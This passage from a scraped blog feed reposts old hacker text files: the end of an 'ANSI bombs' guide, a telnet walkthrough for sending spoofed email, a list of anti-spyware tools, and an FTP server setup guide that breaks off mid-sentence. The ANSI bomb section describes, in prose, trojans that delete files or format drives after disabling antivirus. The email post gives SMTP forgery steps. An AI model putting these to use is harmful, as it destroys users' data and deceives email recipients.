make a bomb that either just deletes all the files&lt;br /&gt;in that directory, or if you want the board to be down a longer time,&lt;br /&gt;then make one that formats the Hard Drive.&amp;nbsp; In this form ANSI bombs,&lt;br /&gt;if they are well planned out, can be easy to make Trojans. Second,&lt;br /&gt;ANSI bombs can used in Trojans.&amp;nbsp; This is probably stretching it a&lt;br /&gt;little, but say you wanted to write a Trojan that would delete a&lt;br /&gt;directory, every time you typed a certain key, then you could use an&lt;br /&gt;ANSI bomb.&amp;nbsp; First make some batch and com/exe files that would search&lt;br /&gt;for protecting programs like Norton and turn them off.&amp;nbsp; Then you could&lt;br /&gt;copy the file into the root directory, along with your versions of&lt;br /&gt;autoexec.bat, config.sys, ANSI.sys, and whatever else.&amp;nbsp; (To make it&lt;br /&gt;look more realistic make the files Resource.00x to trick the user,&lt;br /&gt;then when copying, use the real name).&amp;nbsp; Then somehow lock the computer&lt;br /&gt;up or do a warm boot through some pd program, which is easily attain&lt;br /&gt;able.&amp;nbsp; When the computer loads back up, you can screw that shit out of&lt;br /&gt;them with your ANSI bomb.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5. Conclusion&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; It would seem to some people that ANSI bombs are very dangerous,&lt;br /&gt;and to others that they are stupid or lame.&amp;nbsp; Personally, I think that&lt;br /&gt;ANSI bombs are just plain old fun.&amp;nbsp; They&#39;re not too hard to make, but&lt;br /&gt;there is a lot that you can do with them.&amp;nbsp; They are nowhere near as&lt;br /&gt;malicious as virii, so if you&#39;re looking for unstoppable destruction,&lt;br /&gt;look elsewhere, but they do serve their purpose.&amp;nbsp; I know that there&lt;br /&gt;are programs out there that help you program ANSI bombs, but I think&lt;br /&gt;that they kind of take the fun out of them.&amp;nbsp; Probably, some day soon,&lt;br /&gt;I&#39;ll quit making ANSI bombs and start looking more into virii and pure&lt;br /&gt;Trojans.&amp;nbsp; But for now, ANSI bombs suit my purpose.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -TRG&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Appendix A: Key Code Program&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Here is a small program, which I find very helpful.&amp;nbsp; After loading&lt;br /&gt;it up, it tells you the numeric code for every key you type in.&amp;nbsp; Spe&lt;br /&gt;cial means that it is in the extended set and therefore uses zero, and&lt;br /&gt;&quot;q&quot; ends the program.&amp;nbsp; Unfortunately,&amp;nbsp; I can&#39;t take any credit for&lt;br /&gt;this program.&amp;nbsp; I got it over the phone from Heavymetl, and it was made&lt;br /&gt;by his brother.&amp;nbsp; So many thanks go out to Heavymetl and his brother,&lt;br /&gt;even though they&#39;ll probably be a little pissed at me for including&lt;br /&gt;this in my file.&amp;nbsp; It is in Pascal and can be compiled in most Turbo&lt;br /&gt;Pascal compilers.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Use CRT;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Var&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CH : CHAR;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Repeat&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CH := ReadKey;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If CH = #0 then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CH := ReadKey;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WriteLn(CH,&#39;(Special) - &#39;,ORD(CH));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WriteLn(CH,&#39; - &#39;,ORD(CH));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Until&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CH = &#39;q&#39;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; End.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Thanks go out to:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Heavymetl and his brother for the program and ideas.&amp;nbsp; Weapons&lt;br /&gt;Master for the input and the help he has given me.&amp;nbsp; Everybody else who&lt;br /&gt;has helped me out; you know who you are, or at least, you think you&lt;br /&gt;know who you are.&amp;nbsp; Most of all, to those brave soldiers risking their&lt;br /&gt;asses everyday for us half-way across the world in Saudi Arabia.&amp;nbsp; Your&lt;br /&gt;deeds haven&#39;t gone unnoticed, of course that&#39;s mainly because that&#39;s&lt;br /&gt;all the news ever shows nowadays.&amp;nbsp; Also, to anybody else I might have&lt;/div&gt;</description><link>http://it-guide888.blogspot.com/2016/12/ansi-bombs-ii-tips-and-techniques.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-3218395524016344094</guid><pubDate>Tue, 20 Dec 2016 06:52:00 +0000</pubDate><atom:updated>2016-12-19T22:52:12.564-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><title>ANONYMOUS emails</title><description>Welcome to Hackerdevil&#39;s guide on how to send ANONYMOUS e-mails to someone without a prog.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;I am Hackerdevil and i am going to explain ya a way to send home-made e-mails. I mean its a way to send Annonimous e-mails without a program, it doesn&#39;t take&lt;br /&gt;to much time and its cool and you can have more knowledge than with a stupid program that does all by itself.&lt;br /&gt;&lt;br /&gt;This way (to hackers) is old what as you are newby to this stuff, perhaps you may like to know how these anonymailers work, (home-made)&lt;br /&gt;&lt;br /&gt;Well.....&lt;br /&gt;Go to Start, then Run...&lt;br /&gt;You have to Telnet (Xserver) on port 25&lt;br /&gt;&lt;br /&gt;Well, (In this Xserver) you have to put the name of a server without the ( ) of course...&lt;br /&gt;Put in iname.com in (Xserver) because it always work it is a server with many bugs in it.&lt;br /&gt;(25) mail port.&lt;br /&gt;&lt;br /&gt;So now we are like this.&lt;br /&gt;&lt;br /&gt;telnet iname.com 25&lt;br /&gt;&lt;br /&gt;and then you hit enter&lt;br /&gt;Then When you have telnet open put the following like it is written&lt;br /&gt;&lt;br /&gt;helo&lt;br /&gt;&lt;br /&gt;and the machine will reply with smth.&lt;br /&gt;&lt;br /&gt;Notice for newbies: If you do not see what you are writing go to Terminal&#39;s menu (in telnet) then to Preferences and in the Terminal Options you tick all opctions available and in the emulation menu that&#39;s the following one you have to tick the second option.&lt;br /&gt;Now you will se what you are writing.&lt;br /&gt;&lt;br /&gt;then you put:&lt;br /&gt;&lt;br /&gt;mail from:&amp;lt;whoeveryouwant@whetheveryouwant.whetever.whatever&amp;gt; and so on...&lt;br /&gt;If you make an error start all over again&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;mail from:&amp;lt;askbill@microsoft.com.net&amp;gt;&lt;br /&gt;&lt;br /&gt;You hit enter and then you put:&lt;br /&gt;&lt;br /&gt;rcpt to:&amp;lt;lamer@lamer&#39;sworld.com&amp;gt;&lt;br /&gt;This one has to be an existance address as you are mailing anonymously to him.&lt;br /&gt;&lt;br /&gt;Then you hit enter&lt;br /&gt;And you type&lt;br /&gt;Data&lt;br /&gt;and hit enter once more&lt;br /&gt;&lt;br /&gt;Then you write&lt;br /&gt;&lt;br /&gt;Subject:whetever&lt;br /&gt;&lt;br /&gt;And you hit enter&lt;br /&gt;&lt;br /&gt;you write your mail&lt;br /&gt;&lt;br /&gt;hit enter again (boring)&lt;br /&gt;&lt;br /&gt;you put a simple:&lt;br /&gt;.&lt;br /&gt;&lt;br /&gt;Yes you don&#39;t see it its the little fucking point!&lt;br /&gt;and hit enter&lt;br /&gt;Finally you write&lt;br /&gt;quit&lt;br /&gt;hit enter one more time&lt;br /&gt;and it&#39;s done&lt;br /&gt;&lt;br /&gt;look:Try first do it with yourself I mean mail annonymously yourself so you can test it!&lt;br /&gt;Don&#39;t be asshole and write fucking e-mails to big corps. bec&#39; its symbol of stupidity and childhood and it has very very effect on Hackers they will treat you as a Lamer!&lt;br /&gt;&lt;br /&gt;Really i don&#39;t know why i wrote this fucking disclaimer, but i don&#39;t want to feel guilty if you get into trouble....&lt;br /&gt;&lt;br /&gt;Disclamer:Hackerdevil is not responsable for whetever you do with this info. you can destribute this but you are totally forbidden to take out the &quot;By Hackerdevil&quot; line. You can&#39;t modify or customize this text and i am also not responsable if you send an e-mail to an important guy and insult him, and i rectly advise you that this is&amp;nbsp; for educational porpouses only my idea is for learning and having more knowledge, you can not get busted with this stuff but i don&#39;t take care if it anyway happen to you.&amp;nbsp; If this method is new for ya probably you aren&#39;t a hacker so think that if someone wrote you an e-mail &quot;yourbestfirend@aol.com&quot;&amp;nbsp; insulting you and it wasn&#39;t him it but was some guy using a program or this info you won&#39;t like it.so Use this method if you don&#39;t care a a damn hell or if you like that someone insult you.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;By Hackerdevil&lt;br /&gt;&lt;br /&gt;hackerdevil@iname.com&lt;br /&gt;www.angelfire.com/ar/HDanzi/index.html&lt;br /&gt;&lt;br /&gt;</description><link>http://it-guide888.blogspot.com/2016/12/anonymous-emails.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-6149819498831104107</guid><pubDate>Mon, 19 Dec 2016 06:49:00 +0000</pubDate><atom:updated>2016-12-18T22:49:09.029-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Antivirus</category><category domain="http://www.blogger.com/atom/ns#">Articles</category><title>All about spyware</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;There are a lot of PC users that know little about &quot;Spyware&quot;, &quot;Mal-ware&quot;, &quot;hijackers&quot;, &quot;Dialers&quot; &amp;amp; many more. This will help you avoid pop-ups, spammers and all those baddies. &lt;br /&gt;&lt;br /&gt;What is spy-ware? &lt;br /&gt;Spy-ware is Internet jargon for Advertising Supported software (Ad-ware). It is a way for shareware authors to make money from a product, other than by selling it to the users. There are several large media companies that offer them to place banner ads in their products in exchange for a portion of the revenue from banner sales. This way, you don&#39;t have to pay for the software and the developers are still getting paid. If you find the banners annoying, there is usually an option to remove them, by paying the regular licensing fee. &lt;br /&gt;&lt;br /&gt;Known spywares &lt;br /&gt;There are thousands out there, new ones are added to the list everyday. But here are a few: &lt;br /&gt;Alexa, Aureate/Radiate, BargainBuddy, ClickTillUWin, Conducent Timesink, Cydoor, Comet Cursor, eZula/KaZaa Toptext, Flashpoint/Flashtrack, Flyswat, Gator, GoHip, Hotbar, ISTbar, Lions Pride Enterprises/Blazing Logic/Trek Blue, Lop (C2Media), Mattel Brodcast, Morpheus, NewDotNet, Realplayer, Songspy, Xupiter, Web3000, WebHancer, Windows Messenger Service. &lt;br /&gt;&lt;br /&gt;How to check if a program has spyware? &lt;br /&gt;The is this Little site that keeps a database of programs that are known to install spyware. &lt;br /&gt;&lt;br /&gt;Check Here: http://www.spywareguide.com/product_search.php &lt;br /&gt;&lt;br /&gt;If you would like to block pop-ups (IE Pop-ups). &lt;br /&gt;There tons of different types out there, but these are the 2 best, i think. &lt;br /&gt;&lt;br /&gt;Try: Google Toolbar (http://toolbar.google.com/) This program is Free &lt;br /&gt;Try: AdMuncher (http://www.admuncher.com) This program is Shareware &lt;br /&gt;&lt;br /&gt;If you want to remove the &quot;spyware&quot; try these. &lt;br /&gt;Try: Lavasoft Ad-Aware (http://www.lavasoftusa.com/) This program is Free &lt;br /&gt;Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support. &lt;br /&gt;&lt;br /&gt;Try: Spybot-S&amp;amp;D (http://www.safer-networking.org/) This program is Free &lt;br /&gt;Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer. Blocks ActiveX downloads, tracking cookies and other threats. Over 10,000 detection files and entries. Provides detailed information about found problems. &lt;br /&gt;&lt;br /&gt;Try: BPS Spyware and Adware Remover (http://www.bulletproofsoft.com/spyware-remover.html) This program is Shareware &lt;br /&gt;Info: Adware, spyware, trackware and big brotherware removal utility with multi-language support. It scans your memory, registry and drives for known spyware and lets you remove them. Displays a list and lets you select the items you&#39;d like to remove. &lt;br /&gt;&lt;br /&gt;Try: Spy Sweeper v2.2 (http://www.webroot.com/wb/products/spysweeper/index.php) This program is Shareware &lt;br /&gt;Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer. &lt;br /&gt;The best scanner out there, and updated all the time. &lt;br /&gt;&lt;br /&gt;Try: HijackThis 1.97.7 (http://www.spywareinfo.com/~merijn/downloads.html) This program is Freeware &lt;br /&gt;Info: HijackThis is a tool, that lists all installed browser add-on, buttons, startup items and allows you to inspect them, and optionally remove selected items. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you would like to prevent &quot;spyware&quot; being install. &lt;br /&gt;Try: SpywareBlaster 2.6.1 (http://www.wilderssecurity.net/spywareblaster.html) This program is Free &lt;br /&gt;Info: SpywareBlaster doesn`t scan and clean for so-called spyware, but prevents it from being installed in the first place. It achieves this by disabling the CLSIDs of popular spyware ActiveX controls, and also prevents the installation of any of them via a webpage. &lt;br /&gt;&lt;br /&gt;Try: SpywareGuard 2.2 (http://www.wilderssecurity.net/spywareguard.html) This program is Free &lt;br /&gt;Info: SpywareGuard provides a real-time protection solution against so-called spyware. It works similar to an anti-virus program, by scanning EXE and CAB files on access and alerting you if known spyware is detected. &lt;br /&gt;&lt;br /&gt;Try: XP-AntiSpy (http://www.xp-antispy.org/) This program is Free &lt;br /&gt;Info: XP-AntiSpy is a small utility to quickly disable some built-in update and authentication features in WindowsXP that may rise security or privacy concerns in some people. &lt;br /&gt;&lt;br /&gt;Try: SpySites (http://camtech2000.net/Pages/SpySites_Prog...ml#SpySitesFree) This program is Free &lt;br /&gt;Info: SpySites allows you to manage the Internet Explorer Restricted Zone settings and easily add entries from a database of 1500+ sites that are known to use advertising tracking methods or attempt to install third party software. &lt;br /&gt;&lt;br /&gt;If you would like more Information about &quot;spyware&quot;. &lt;br /&gt;Check these sites. &lt;br /&gt;http://www.spychecker.com/ &lt;br /&gt;http://www.spywareguide.com/ &lt;br /&gt;http://www.cexx.org/adware.htm &lt;br /&gt;http://www.theinfomaniac.net/infomaniac/co...rsSpyware.shtml &lt;br /&gt;http://www.thiefware.com/links/ &lt;br /&gt;http://simplythebest.net/info/spyware.html &lt;br /&gt;&lt;br /&gt;Usefull tools... &lt;br /&gt;Try: Stop Windows Messenger Spam 1.10 (http://www.jester2k.pwp.blueyonder.co.uk/j...r2ksoftware.htm) This program is Free &lt;br /&gt;Info: &quot;Stop Windows Messenger Spam&quot; stops this Service from running and halts the spammers ability to send you these messages. &lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------- &lt;br /&gt;All these softwares will help remove and prevent evil spammers and spywares attacking your PC. I myself recommend getting &quot;spyblaster&quot; &quot;s&amp;amp;d spybot&quot; &quot;spy sweeper&quot; &amp;amp; &quot;admuncher&quot; to protect your PC. A weekly scan is also recommended &lt;br /&gt;&lt;br /&gt;Free Virus Scan &lt;br /&gt;Scan for spyware, malware and keyloggers in addition to viruses, worms and trojans. New threats and annoyances are created faster than any individual can keep up with. &lt;br /&gt;http://defender.veloz.com// - 15k &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finding . is a Click Away at 2020Search.com &lt;br /&gt;Having trouble finding what you re looking for on: .? 2020Search will instantly provide you with the result you re looking for by drawing on some of the best search engines the Internet has to offer. Your result is a click away! &lt;br /&gt;http://www.2020search.com// - 43k &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download the BrowserVillage Toolbar. &lt;br /&gt;Customize your Browser! Eliminate Pop-up ads before they start, Quick and easy access to the Web, and much more. Click Here to Install Now! &lt;br /&gt;http://www.browservillage.com/ - 36k&lt;/div&gt;</description><link>http://it-guide888.blogspot.com/2016/12/all-about-spyware.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-3762787067652861772</guid><pubDate>Sun, 18 Dec 2016 06:47:00 +0000</pubDate><atom:updated>2016-12-17T22:47:03.116-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><title>All About FTP, must read.</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Well, since many of us have always wondered this, here it is. Long and drawn out. Also, before attempting this, realize one thing; You will have to give up your time, effort, bandwidth, and security to have a quality ftp server. &lt;br /&gt;That being said, here it goes. First of all, find out if your IP (Internet Protocol) is static (not changing) or dynamic (changes everytime you log on). To do this, first consider the fact if you have a dial up modem. If you do, chances are about 999 999 out of 1 000 000 that your IP is dynamic. To make it static, just go to a place like h*tp://www.myftp.org/ to register for a static ip address. &lt;br /&gt;&lt;br /&gt;You&#39;ll then need to get your IP. This can be done by doing this: &lt;br /&gt;Going to Start -&amp;gt; Run -&amp;gt; winipcfg or www.ask.com and asking &#39;What is my IP?&#39; &lt;br /&gt;&lt;br /&gt;After doing so, you&#39;ll need to download an FTP server client. Personally, I&#39;d recommend G6 FTP Server, Serv-U FTPor Bullitproof v2.15 all three of which are extremely reliable, and the norm of the ftp world. &lt;br /&gt;You can download them on this site: h*tp://www.liaokai.com/softw_en/d_index.htm &lt;br /&gt;&lt;br /&gt;First, you&#39;ll have to set up your ftp. For this guide, I will use step-by-step instructions for G6. First, you&#39;ll have to go into &#39;Setup -&amp;gt; General&#39;. From here, type in your port # (default is 21). I recommend something unique, or something a bit larger (ex: 3069). If you want to, check the number of max users (this sets the amount of simultaneous maximum users on your server at once performing actions - The more on at once, the slower the connection and vice versa). &lt;br /&gt;&lt;br /&gt;The below options are then chooseable: &lt;br /&gt;-Launch with windows &lt;br /&gt;-Activate FTP Server on Start-up &lt;br /&gt;-Put into tray on startup &lt;br /&gt;-Allow multiple instances &lt;br /&gt;-Show &quot;Loading...&quot; status at startup &lt;br /&gt;-Scan drive(s) at startup &lt;br /&gt;-Confirm exit &lt;br /&gt;&lt;br /&gt;You can do what you want with these, as they are pretty self explanatory. The scan drive feature is nice, as is the 2nd and the last option. From here, click the &#39;options&#39; text on the left column. &lt;br /&gt;&lt;br /&gt;To protect your server, you should check &#39;login check&#39; and &#39;password check&#39;, &#39;Show relative path (a must!)&#39;, and any other options you feel you&#39;ll need. After doing so, click the &#39;advanced&#39; text in the left column. You should then leave the buffer size on the default (unless of course you know what you&#39;re doing ), and then allow the type of ftp you want. &lt;br /&gt;&lt;br /&gt;Uploading and downloading is usually good, but it&#39;s up to you if you want to allow uploads and/or downloads. For the server priority, that will determine how much conventional memory will be used and how much &#39;effort&#39; will go into making your server run smoothly. &lt;br /&gt;&lt;br /&gt;Anti-hammering is also good, as it prevents people from slowing down your speed. From here, click &#39;Log Options&#39; from the left column. If you would like to see and record every single command and clutter up your screen, leave the defaults. &lt;br /&gt;&lt;br /&gt;But, if you would like to see what is going on with the lowest possible space taken, click &#39;Screen&#39; in the top column. You should then check off &#39;Log successful logins&#39;, and all of the options in the client directry, except &#39;Log directory changes&#39;. After doing so, click &#39;Ok&#39; in the bottom left corner. &lt;br /&gt;&lt;br /&gt;You will then have to go into &#39;Setup -&amp;gt; User Accounts&#39; (or ctrl &amp;amp; u). From here, you should click on the right most column, and right click. Choose &#39;Add&#39;, and choose the username(s) you would like people to have access to. &lt;br /&gt;&lt;br /&gt;After giving a name (ex: themoonlanding), you will have to give them a set password in the bottom column (ex: wasfaked). For the &#39;Home IP&#39; directory, (if you registered with a static server, check &#39;All IP Homes&#39;. If your IP is static by default, choose your IP from the list. You will then have to right click in the very center column, and choose &#39;Add&#39;. &lt;br /&gt;&lt;br /&gt;From here, you will have to set the directory you want the people to have access to. After choosing the directory, I suggest you choose the options &#39;Read&#39;, &#39;List&#39;, and &#39;Subdirs&#39;, unless of course you know what you&#39;re doing . After doing so, make an &#39;upload&#39; folder in the directory, and choose to &#39;add&#39; this folder seperately to the center column. Choose &#39;write&#39;, &#39;append&#39;, &#39;make&#39;, &#39;list&#39;, and &#39;subdirs&#39;. This will allow them to upload only to specific folders (your upload folder). &lt;br /&gt;&lt;br /&gt;Now click on &#39;Miscellaneous&#39; from the left column. Choose &#39;enable account&#39;, your time-out (how long it takes for people to remain idle before you automatically kick them off), the maximum number of users for this name, the maximum number of connections allowed simultaneously for one ip address, show relative path (a must!), and any other things at the bottom you&#39;d like to have. Now click &#39;Ok&#39;. &lt;br /&gt;**Requested** &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From this main menu, click the little boxing glove icon in the top corner, and right click and unchoose the hit-o-meter for both uploads and downloads (with this you can monitor IP activity). Now click the lightning bolt, and your server is now up and running. &lt;br /&gt;&lt;br /&gt;Post your ftp info, like this: &lt;br /&gt;&lt;br /&gt;213.10.93.141 (or something else, such as: &#39;f*p://example.getmyip.com&#39;) &lt;br /&gt;&lt;br /&gt;User: *** (The username of the client) &lt;br /&gt;&lt;br /&gt;Pass: *** (The password) &lt;br /&gt;&lt;br /&gt;Port: *** (The port number you chose) &lt;br /&gt;&lt;br /&gt;So make a FTP and join the FTP section &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Listing The Contents Of A Ftp: &lt;br /&gt;&lt;br /&gt;Listing the content of a FTP is very simple. &lt;br /&gt;You will need FTP Content Maker, which can be downloaded from here: &lt;br /&gt;ht*p://www.etplanet.com/download/application/FTP%20Content%20Maker%201.02.zip &lt;br /&gt;&lt;br /&gt;1. Put in the IP of the server. Do not put &quot;ftp://&quot; or a &quot;/&quot; because it will not work if you do so. &lt;br /&gt;2. Put in the port. If the port is the default number, 21, you do not have to enter it. &lt;br /&gt;3. Put in the username and password in the appropriate fields. If the login is anonymous, you do not have to enter it. &lt;br /&gt;4. If you want to list a specific directory of the FTP, place it in the directory field. Otherwise, do not enter anything in the directory field. &lt;br /&gt;5. Click &quot;Take the List!&quot; &lt;br /&gt;6. After the list has been taken, click the UBB output tab, and copy and paste to wherever you want it. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If FTP Content Maker is not working, it is probably because the server does not utilize Serv-U Software. &lt;br /&gt;&lt;br /&gt;If you get this error message: &lt;br /&gt;StatusCode = 550 &lt;br /&gt;LastResponse was : &#39;Unable to open local file test-ftp&#39; &lt;br /&gt;Error = 550 (Unable to open local file test-ftp) &lt;br /&gt;Error = Unable to open local file test-ftp = 550 &lt;br /&gt;Close and restart FTP Content Maker, then try again. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;error messages: &lt;br /&gt;&lt;br /&gt;110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm Where yyyy is User-process data stream marker, and mmmm server&#39;s equivalent marker (note the spaces between markers and &quot;=&quot;). &lt;br /&gt;120 Service ready in nnn minutes. &lt;br /&gt;125 Data connection already open; transfer starting. &lt;br /&gt;150 File status okay; about to open data connection. &lt;br /&gt;200 Command okay. &lt;br /&gt;202 Command not implemented, superfluous at this site. &lt;br /&gt;211 System status, or system help reply. &lt;br /&gt;212 Directory status. &lt;br /&gt;213 File status. &lt;br /&gt;214 Help message. On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user. &lt;br /&gt;215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document. &lt;br /&gt;220 Service ready for new user. &lt;br /&gt;221 Service closing control connection. Logged out if appropriate. &lt;br /&gt;225 Data connection open; no transfer in progress. &lt;br /&gt;226 Closing data connection. Requested file action successful (for example, file transfer or file abort). &lt;br /&gt;227 Entering Passive Mode (h1,h2,h3,h4,p1,p2). &lt;br /&gt;230 User logged in, proceed. &lt;br /&gt;250 Requested file action okay, completed. &lt;br /&gt;257 &quot;PATHNAME&quot; created. &lt;br /&gt;331 User name okay, need password. &lt;br /&gt;332 Need account for login. &lt;br /&gt;350 Requested file action pending further information. &lt;br /&gt;421 Too many users logged to the same account &lt;br /&gt;425 Can&#39;t open data connection. &lt;br /&gt;426 Connection closed; transfer aborted. &lt;br /&gt;450 Requested file action not taken. File unavailable (e.g., file busy). &lt;br /&gt;451 Requested action aborted: local error in processing. &lt;br /&gt;452 Requested action not taken. Insufficient storage space in system. &lt;br /&gt;500 Syntax error, command unrecognized. This may include errors such as command line too long. &lt;br /&gt;501 Syntax error in parameters or arguments. &lt;br /&gt;502 Command not implemented. &lt;br /&gt;503 Bad sequence of commands. &lt;br /&gt;504 Command not implemented for that parameter. &lt;br /&gt;530 Not logged in. &lt;br /&gt;532 Need account for storing files. &lt;br /&gt;550 Requested action not taken. File unavailable (e.g., file not found, no access). &lt;br /&gt;551 Requested action aborted: page type unknown. &lt;br /&gt;552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset). &lt;br /&gt;553 Requested action not taken. File name not allowed. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Active FTP vs. Passive FTP, a Definitive Explanation &lt;br /&gt;&lt;br /&gt;Introduction &lt;br /&gt;One of the most commonly seen questions when dealing with firewalls and other Internet connectivity issues is the difference between active and passive FTP and how best to support either or both of them. Hopefully the following text will help to clear up some of the confusion over how to support FTP in a firewalled environment. &lt;br /&gt;&lt;br /&gt;This may not be the definitive explanation, as the title claims, however, I&#39;ve heard enough good feedback and seen this document linked in enough places to know that quite a few people have found it to be useful. I am always looking for ways to improve things though, and if you find something that is not quite clear or needs more explanation, please let me know! Recent additions to this document include the examples of both active and passive command line FTP sessions. These session examples should help make things a bit clearer. They also provide a nice picture into what goes on behind the scenes during an FTP session. Now, on to the information... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Basics &lt;br /&gt;FTP is a TCP based service exclusively. There is no UDP component to FTP. FTP is an unusual service in that it utilizes two ports, a &#39;data&#39; port and a &#39;command&#39; port (also known as the control port). Traditionally these are port 21 for the command port and port 20 for the data port. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Active FTP &lt;br /&gt;In active mode FTP the client connects from a random unprivileged port (N &amp;gt; 1024) to the FTP server&#39;s command port, port 21. Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server. The server will then connect back to the client&#39;s specified data port from its local data port, which is port 20. &lt;br /&gt;&lt;br /&gt;From the server-side firewall&#39;s standpoint, to support active mode FTP the following communication channels need to be opened: &lt;br /&gt;&lt;br /&gt;FTP server&#39;s port 21 from anywhere (Client initiates connection) &lt;br /&gt;FTP server&#39;s port 21 to ports &amp;gt; 1024 (Server responds to client&#39;s control port) &lt;br /&gt;FTP server&#39;s port 20 to ports &amp;gt; 1024 (Server initiates data connection to client&#39;s data port) &lt;br /&gt;FTP server&#39;s port 20 from ports &amp;gt; 1024 (Client sends ACKs to server&#39;s data port) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In step 1, the client&#39;s command port contacts the server&#39;s command port and sends the command PORT 1027. The server then sends an ACK back to the client&#39;s command port in step 2. In step 3 the server initiates a connection on its local data port to the data port the client specified earlier. Finally, the client sends an ACK back as shown in step 4. &lt;br /&gt;&lt;br /&gt;The main problem with active mode FTP actually falls on the client side. The FTP client doesn&#39;t make the actual connection to the data port of the server--it simply tells the server what port it is listening on and the server connects back to the specified port on the client. From the client side firewall this appears to be an outside system initiating a connection to an internal client--something that is usually blocked. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Active FTP Example &lt;br /&gt;Below is an actual example of an active FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the 